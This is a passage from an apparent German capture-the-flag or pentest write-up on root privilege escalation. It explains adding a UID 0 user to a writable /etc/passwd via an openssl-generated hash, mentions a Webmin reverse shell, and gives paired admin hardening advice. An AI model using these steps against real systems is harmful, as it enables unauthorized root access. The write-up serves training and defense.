Bewertung: Dies ist ein klassischer, wenn auch oft nicht möglicher, Weg zur Root-Eskalation. Er erfordert Schreibrechte auf `/etc/passwd`. Es wird nicht gezeigt, dass dieser Weg tatsächlich beschritten wurde; der erfolgreiche Weg war anscheinend die Webmin-Manipulation.
Empfehlung (Pentester): Prüfen Sie immer die Berechtigungen von `/etc/passwd`. Wenn sie beschreibbar ist, ist dies oft der einfachste Weg zu Root. Generieren Sie einen bekannten Passwort-Hash (z.B. mit `openssl passwd -6 passwort`) und fügen Sie einen neuen Benutzer mit UID/GID 0 hinzu.
Empfehlung (Admin): Stellen Sie sicher, dass `/etc/passwd` nur für Root schreibbar ist (`chmod 644`). Verwenden Sie Integritätsmonitoring, um Änderungen zu erkennen.
Privesc erfolgreich
password:
root
Analyse: Der Kommentar "Privesc erfolgreich" bestätigt das Erreichen von Root-Rechten. Die nachfolgenden Befehle (`su root`, `whoami`) scheinen eher eine Bestätigung *nach* Erhalt der Root-Shell durch den Webmin-Exploit zu sein (oder könnten sich auf den alternativen `/etc/passwd`-Weg beziehen, falls dieser doch genutzt wurde). Der `su root`-Teil ist etwas verwirrend, wenn man bereits Root ist (z.B. durch die Reverse Shell). `whoami` bestätigt, dass der aktuelle Benutzer `root` ist.
Bewertung: Das Ziel der Privilege Escalation wurde erreicht. Der Angreifer hat volle Kontrolle über das System.
Empfehlung (Pentester): Suchen Sie die Root-Flag (`root.txt`).
Empfehlung (Admin): Führen Sie eine vollständige Systemprüfung durch, ändern Sie alle Passwörter, schließen Sie die identifizierten Schwachstellen (unsichere Dateiberechtigungen, sudo-Regeln, Webmin-Konfiguration).